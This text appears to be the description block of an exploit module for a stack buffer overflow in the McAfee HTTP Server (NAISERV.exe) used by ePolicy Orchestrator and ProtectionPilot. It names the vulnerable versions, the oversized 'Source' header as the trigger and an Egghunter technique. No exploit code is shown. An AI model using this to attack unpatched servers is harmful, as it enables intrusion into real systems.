          This is an exploit for the McAfee HTTP Server (NAISERV.exe).
        McAfee ePolicy Orchestrator 2.5.1 <= 3.5.0 and ProtectionPilot 1.1.0 are
        known to be vulnerable. By sending a large 'Source' header, the stack can
        be overwritten. This module is based on the exploit by xbxice and muts.
        Due to size constraints, this module uses the Egghunter technique.
